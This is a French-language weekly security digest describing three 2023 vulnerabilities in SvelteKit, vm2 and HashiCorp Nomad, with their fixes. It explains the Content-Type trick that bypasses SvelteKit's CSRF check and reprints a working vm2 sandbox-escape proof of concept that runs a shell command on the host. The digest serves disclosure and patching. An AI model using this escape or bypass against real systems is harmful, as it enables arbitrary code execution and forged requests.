Dans le digest de cette semaine, nous aborderons les points suivants :
- Un contournement de la protection CSRF dans SvelteKit ;
- Un bac à sable en version vm2 ; et
- Un contournement non authentifié de l'autorisation ACL pour HashiCorp Nomad et Nomad Enterprise entraînant une escalade des privilèges.
CVE-2023-29003 : SvelteKit : Contournement de la protection CSRF à l'aide de l'en-tête Content-Type
Contexte
SvelteKit est un cadre de développement d'applications web utilisant la bibliothèque JavaScript Svelte. Il offre une expérience de développement rationalisée en incluant des fonctionnalités telles que le rendu côté serveur, le routage et le routage de pages basé sur des fichiers.
Vulnérabilité
La vulnérabilité, CVE-2023-29003, affecte les versions de SvelteKit inférieures à 1.15.1 en raison de l'insuffisance de la protection contre le Cross-Site Request Forgery (CSRF). Avant SvelteKit 1.15.1, la protection CSRF était exécutée lorsque trois conditions étaient remplies : (1) la requête était un POST, (2) il y avait une incohérence entre l'origine du site et l'en-tête HTTP d'origine de la requête, et (3) la requête incluait un contenu de formulaire, indiqué par un en-tête Content-Type de "application/x-www-form-urlencoded" ou "multipart/form-data".
Si toutes ces conditions sont remplies, une réponse 403 Forbidden est envoyée à la demande. Cette vérification peut être contournée en utilisant un Content-Type différent dans la demande, comme "text/plain".
Atténuation
- La vulnérabilité a été corrigée dans la version 1.15.1 de SvelteKit. La mise à jour vers la dernière version est le moyen recommandé pour résoudre ce problème.
CVE-2023-29199 : vm2 : Echappatoire du bac à sable dans le transformateur de code source
Contexte
vm2 est un module Node.js qui fournit un environnement de type "bac à sable" pour l'exécution de code non fiable de manière sécurisée. Il permet de créer des contextes d'exécution isolés dans lesquels les attaquants peuvent exécuter du code non fiable sans pouvoir accéder au contexte global ou aux données sensibles.
Vulnérabilité
La vulnérabilité repose sur une exception dans la logique d'assainissement du transformateur de code source de vm2. Cette vulnérabilité permet à un attaquant de contourner la fonction handleException() et de faire fuir les exceptions non assainies de l'hôte, ouvrant ainsi la porte à un attaquant pour échapper au bac à sable et exécuter du code arbitraire dans le contexte de l'hôte.
L'utilisateur de GitHub leesh3288 a réalisé une démonstration de faisabilité pour exploiter cette vulnérabilité, ce qui montre à quel point il est facile d'exécuter du code dans le contexte de l'hôte :
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname
.constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('touch pwned');
}
`
console.log(vm.run(code));
Atténuation
- La vulnérabilité a été corrigée dans la version 3.9.16 de vm2. La mise à jour vers la dernière version est le moyen recommandé pour résoudre ce problème.
CVE-2023-1782 : HashiCorp Nomad : Escalade de privilèges par contournement d'ACL non authentifié
Contexte
HashiCorp Nomad est une plateforme d'orchestration de conteneurs qui permet aux utilisateurs de déployer et de gérer facilement des applications dans divers environnements, y compris les centres de données, les nuages et les sites périphériques. Elle offre des fonctionnalités telles que le déploiement automatisé, la mise à l'échelle et l'autoréparation, ainsi que la prise en charge de plusieurs algorithmes d'exécution et de planification de conteneurs.
Vulnérabilité
Il n'y a pas beaucoup de détails sur cette vulnérabilité. Cependant, d'après le rapport du chercheur, les requêtes HTTP non authentifiées peuvent contourner les autorisations ACL prévues chaque fois qu'une requête est traitée sur le serveur par le biais de RPC internes. Cette vulnérabilité affecte HashiCorp Nomad et HashiCorp Nomad Enterprise pour les versions 1.5.0 à 1.5.2.
Atténuation
- Cette vulnérabilité peut être corrigée en activant mTLS sur leur cluster hôte.
- Cette vulnérabilité a été corrigée dans la version 1.5.3 de HashiCorp Nomad. La mise à jour vers la dernière version est le moyen recommandé pour résoudre ce problème.
Commentaires